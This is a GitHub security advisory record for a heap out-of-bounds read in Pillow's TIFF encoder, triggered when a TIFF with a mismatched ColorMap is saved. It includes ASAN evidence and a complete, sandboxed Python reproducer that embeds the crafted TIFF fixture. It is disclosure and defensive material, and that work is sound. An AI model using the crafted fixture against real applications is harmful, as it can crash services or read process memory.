{"id":"GHSA-pchr-8j38-3x4p","summary":"Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read","details":"## Summary\n\nA small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.\n\nPillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.\n\nThe malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.\n\n## Impact and prerequisites\n\nAn application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.\n\nThe 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.\n\n## Tested environment and limits of the evidence\n\nThe existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**:\n\n- Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl`\n- Wheel size: `4785266` bytes\n- Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6`\n- Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1`\n\nApple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.\n\nOnly this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed.\n\nSeparate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.\n\n## Observed evidence and controls\n\nThe earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format=\"TIFF\")`, without replacing the image's metadata. Each case was recorded three times:\n\n| Original fixture | Bytes | Recorded result |\n| --- | ---: | --- |\n| `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). |\n| `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). |\n| `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |\n\nAddress-free summary of the recorded native diagnostic:\n\n```text\nAddressSanitizer: heap-buffer-overflow\nREAD of size 131072\n0 bytes after 1536-byte region\nCopy path: memcpy -\u003e _TIFFmemcpy -\u003e setByteArray -\u003e _TIFFsetShortArrayExt\n           -\u003e _TIFFVSetField -\u003e TIFFVSetField -\u003e ImagingLibTiffSetField\n           -\u003e PyImaging_LibTiffEncoderNew\nAllocation: calloc -\u003e PyImaging_LibTiffEncoderNew\n```\n\nInput SHA-256 values (also enforced inside the script):\n\n- `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d`\n- `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c`\n- `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556`\n\n## Root cause and source references\n\n- [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`.\n- [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–1991, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/PIL/TiffImagePlugin.py#L1944): save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap.\n- [libtiff `tif_dir.c`, lines 441–448, pinned revision](https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/libtiff/tif_dir.c#L441): `TIFFTAG_COLORMAP` computes the per-plane count as `1L \u003c\u003c td-\u003etd_bitspersample` and copies that many SHORTs from each pointer.\n\nThe reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.\n\n## Prior art and disclosure scope\n\n[Pillow PR #5148](https://github.com/python-pillow/Pillow/pull/5148), merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal `\"CustomField\"`. That is a **different field-name-lifetime fix**, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and **novelty is not asserted**. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it.\n\n## Reproduction instructions\n\nUse an **already reviewed, existing** installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. `--package-path` is the absolute directory containing `PIL`, not the `PIL` directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.\n\nSave the complete Python block below as `reproduce.py` and run:\n\n```sh\npython3.11 -I -S -B reproduce.py \\\n  --package-path /absolute/path/to/reviewed/site-packages \\\n  --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib\n```\n\nBoth arguments are required. The runtime must be loaded at child startup, not by late `dlopen`. Each child resolves `__asan_init`, `__asan_address_is_poisoned`, and `__asan_region_is_poisoned` in its actual process symbol table **before importing Pillow or opening a fixture**. Merely setting `DYLD_INSERT_LIBRARIES` is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.\n\nEach of the three cases runs once in a separate child with a **30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit**. The parent supplies a clean allowlisted environment, isolated Python startup (`-I -S -B`), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.\n\nThe compressed/base64 constants below are the **unchanged original benign TIFF fixtures**, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.\n\n**Separate August 31, 2026 inline validation:** the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.\n\n## Expected results from the standalone script\n\nCases run in order: `colormap8`, `colormap_absent`, `colormap16`. Every printed line should have `guard_passed: true`, `within_limits: true`, and `expected_observation: true`. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 **and** the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.\n\nThe parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is **inconclusive**, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.\n\n## Complete standalone reproducer\n\n```python\nimport argparse\nimport base64\nimport ctypes\nimport hashlib\nimport io\nimport json\nimport os\nfrom pathlib import Path\nimport platform\nimport resource\nimport selectors\nimport struct\nimport subprocess\nimport sys\nimport tempfile\nimport time\nimport zlib\n\n\nFIXTURES = {'colormap8': [1684,\n               'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c',\n               'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='],\n 'colormap_absent': [137,\n                     'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556',\n                     'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'],\n 'colormap16': [1685,\n                '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d',\n                'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']}\nPACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629',\n 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d',\n 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01',\n 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5',\n 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d',\n 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273',\n 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596',\n 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d',\n 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1',\n 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57',\n 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'}\nCASES = tuple(FIXTURES)\nWALL_SECONDS = 30\nFILE_LIMIT = 1024 * 1024\nPIPE_LIMIT = 128 * 1024\n\n\ndef limits():\n    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n    resource.setrlimit(resource.RLIMIT_CPU, (10, 10))\n    resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT))\n\n\ndef fixture(case):\n    size, expected_hash, encoded = FIXTURES[case]\n    decoder = zlib.decompressobj()\n    data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1)\n    if (len(data) != size or not decoder.eof or decoder.unused_data\n            or decoder.unconsumed_tail\n            or hashlib.sha256(data).hexdigest() != expected_hash):\n        raise ValueError(\"fixture integrity check failed\")\n    return data\n\n\ndef field(data, wanted):\n    if len(data) \u003c 8 or data[:4] not in (b\"II*\\0\", b\"MM\\0*\"):\n        raise ValueError(\"not classic TIFF\")\n    endian = \"\u003c\" if data[:2] == b\"II\" else \"\u003e\"\n    directory = struct.unpack_from(endian + \"I\", data, 4)[0]\n    count = struct.unpack_from(endian + \"H\", data, directory)[0]\n    if directory + 2 + count * 12 + 4 \u003e len(data):\n        raise ValueError(\"truncated directory\")\n    for number in range(count):\n        offset = directory + 2 + number * 12\n        tag, kind, length = struct.unpack_from(endian + \"HHI\", data, offset)\n        if tag != wanted:\n            continue\n        size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length\n        start = offset + 8 if size \u003c= 4 else struct.unpack_from(endian + \"I\", data, offset + 8)[0]\n        if start + size \u003e len(data):\n            raise ValueError(\"truncated field\")\n        return kind, length, data[start:start + size], endian\n    return None\n\n\ndef checked_image_module(package):\n    if (sys.implementation.name != \"cpython\" or sys.version_info[:2] != (3, 11)\n            or sys.platform != \"darwin\" or platform.machine() != \"arm64\"):\n        raise RuntimeError(\"requires macOS ARM64 CPython 3.11\")\n    for relative, expected in PACKAGE_PINS.items():\n        path = (package / relative).resolve(strict=True)\n        if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected:\n            raise RuntimeError(\"reviewed wheel file mismatch\")\n    process_symbols = ctypes.CDLL(None)\n    for symbol in (\"__asan_init\", \"__asan_address_is_poisoned\", \"__asan_region_is_poisoned\"):\n        getattr(process_symbols, symbol)\n    sys.path.insert(0, str(package))\n    from PIL import Image, features\n    if (Image.__version__ != \"12.3.0\" or features.version(\"libtiff\") != \"4.7.1\"\n            or Path(Image.__file__).resolve() != package / \"PIL/Image.py\"\n            or Path(Image.core.__file__).resolve() != package / \"PIL/_imaging.cpython-311-darwin.so\"):\n        raise RuntimeError(\"unexpected Pillow or libtiff\")\n    return Image\n\n\ndef emit(descriptor, message):\n    os.write(descriptor, (json.dumps(message, sort_keys=True) + \"\\n\").encode(\"ascii\"))\n\n\ndef child(case, package):\n    descriptor = os.dup(1)\n    with open(os.devnull, \"wb\") as quiet:\n        os.dup2(quiet.fileno(), 1)\n    try:\n        image_module = checked_image_module(package)\n        data = fixture(case)\n        with image_module.open(io.BytesIO(data)) as image:\n            image.load()\n            if image.size != (1, 1) or image.info.get(\"compression\") != \"packbits\":\n                raise ValueError(\"unexpected input geometry\")\n            bits = 8 if case == \"colormap8\" else 16\n            if image.tag_v2[258] != (bits,):\n                raise ValueError(\"unexpected sample width\")\n            if case == \"colormap_absent\":\n                if 320 in image.tag_v2:\n                    raise ValueError(\"unexpected ColorMap\")\n            elif image.tag_v2[320] != (0,) * 768:\n                raise ValueError(\"unexpected ColorMap planes\")\n            emit(descriptor, {\"ready\": True})\n            with io.BytesIO() as output:\n                image.save(output, format=\"TIFF\")\n                if case == \"colormap16\":\n                    emit(descriptor, {\"unsafe_save_returned\": True})\n                    return 1\n                encoded = output.getvalue()\n                saved_bits = field(encoded, 258)\n                map_field = field(encoded, 320)\n                bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1)\n                                  and struct.unpack(saved_bits[3] + \"H\", saved_bits[2])[0] == bits)\n                map_preserved = (map_field is None if case == \"colormap_absent\"\n                                 else map_field is not None and map_field[:2] == (3, 768)\n                                 and map_field[2] == bytes(1536))\n                emit(descriptor, {\"control_passed\": bool(bits_preserved and map_preserved)})\n        return 0\n    except Exception:\n        emit(descriptor, {\"child_failed\": True})\n        return 2\n    finally:\n        os.close(descriptor)\n\n\ndef run_case(case, package, runtime):\n    with tempfile.TemporaryDirectory(prefix=\"pillow-check-\") as temporary:\n        environment = {\n            \"PATH\": \"/usr/bin:/bin:/usr/sbin:/sbin\",\n            \"HOME\": temporary,\n            \"TMPDIR\": temporary,\n            \"LC_ALL\": \"C\",\n            \"DYLD_INSERT_LIBRARIES\": str(runtime),\n            \"ASAN_OPTIONS\": \"detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:\"\n                            \"disable_coredump=1:symbolize=1:malloc_fill_byte=165:\"\n                            \"max_malloc_fill_size=1048576:log_path=stderr\",\n        }\n        command = [sys.executable, \"-I\", \"-S\", \"-B\", str(Path(__file__).resolve()),\n                   \"--package-path\", str(package), \"--asan-runtime\", str(runtime), \"--child\", case]\n        output = bytearray()\n        diagnostics = bytearray()\n        deadline = time.monotonic() + WALL_SECONDS\n        with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL,\n                              stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n                              preexec_fn=limits, start_new_session=True) as process:\n            bounded = True\n            try:\n                with selectors.DefaultSelector() as selector:\n                    selector.register(process.stdout, selectors.EVENT_READ, output)\n                    selector.register(process.stderr, selectors.EVENT_READ, diagnostics)\n                    while selector.get_map():\n                        remaining = deadline - time.monotonic()\n                        if remaining \u003c= 0:\n                            raise TimeoutError\n                        for key, events in selector.select(min(remaining, 0.25)):\n                            chunk = os.read(key.fileobj.fileno(), 8192)\n                            if not chunk:\n                                selector.unregister(key.fileobj)\n                            else:\n                                key.data.extend(chunk)\n                                if len(output) + len(diagnostics) \u003e PIPE_LIMIT:\n                                    raise BufferError\n                    process.wait(timeout=max(0.001, deadline - time.monotonic()))\n            except (TimeoutError, BufferError, subprocess.TimeoutExpired):\n                bounded = False\n                try:\n                    os.killpg(process.pid, 9)\n                except ProcessLookupError:\n                    pass\n                process.wait()\n            status = process.returncode\n        try:\n            messages = [json.loads(line) for line in output.splitlines()]\n        except (ValueError, UnicodeError):\n            messages = []\n        ready = bool(messages and messages[0] == {\"ready\": True})\n        if case == \"colormap16\":\n            observed = bool(bounded and ready and status == 86 and len(messages) == 1\n                            and b\"AddressSanitizer: heap-buffer-overflow\" in diagnostics\n                            and b\"READ of size 131072\" in diagnostics\n                            and b\"0 bytes after 1536-byte region\" in diagnostics\n                            and b\"PyImaging_LibTiffEncoderNew\" in diagnostics\n                            and b\"_TIFFmemcpy\" in diagnostics)\n        else:\n            observed = bool(bounded and ready and status == 0\n                            and messages == [{\"ready\": True}, {\"control_passed\": True}]\n                            and b\"AddressSanitizer:\" not in diagnostics)\n        output.clear()\n        diagnostics.clear()\n        return {\"case\": case, \"expected_observation\": observed, \"guard_passed\": ready,\n                \"within_limits\": bounded}\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.')\n    parser.add_argument(\"--package-path\", required=True, type=Path,\n                        help=\"reviewed existing installation root containing PIL\")\n    parser.add_argument(\"--asan-runtime\", required=True, type=Path,\n                        help=\"reviewed existing compatible ASAN dylib; never loaded late\")\n    parser.add_argument(\"--child\", choices=CASES, help=argparse.SUPPRESS)\n    arguments = parser.parse_args()\n    if arguments.child:\n        limits()\n        return child(arguments.child, arguments.package_path.resolve())\n    try:\n        package = arguments.package_path.resolve(strict=True)\n        runtime = arguments.asan_runtime.resolve(strict=True)\n        if not package.is_dir() or not runtime.is_file():\n            raise ValueError(\"invalid existing paths\")\n        for case in CASES:\n            fixture(case)\n        results = [run_case(case, package, runtime) for case in CASES]\n    except Exception:\n        print(json.dumps({\"setup_failed\": True}))\n        return 2\n    for result in results:\n        print(json.dumps(result, sort_keys=True))\n    return 0 if all(result[\"expected_observation\"] for result in results) else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```","aliases":["CVE-2026-112896"],"modified":"2026-10-20T21:00:04.410817583Z","published":"2026-10-20T20:51:40Z","database_specific":{"github_reviewed_at":"2026-10-20T20:51:40Z","nvd_published_at":"2026-10-19T22:17:09Z","cwe_ids":["CWE-125"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112896"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 12.3.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-pchr-8j38-3x4p/GHSA-pchr-8j38-3x4p.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N"}]}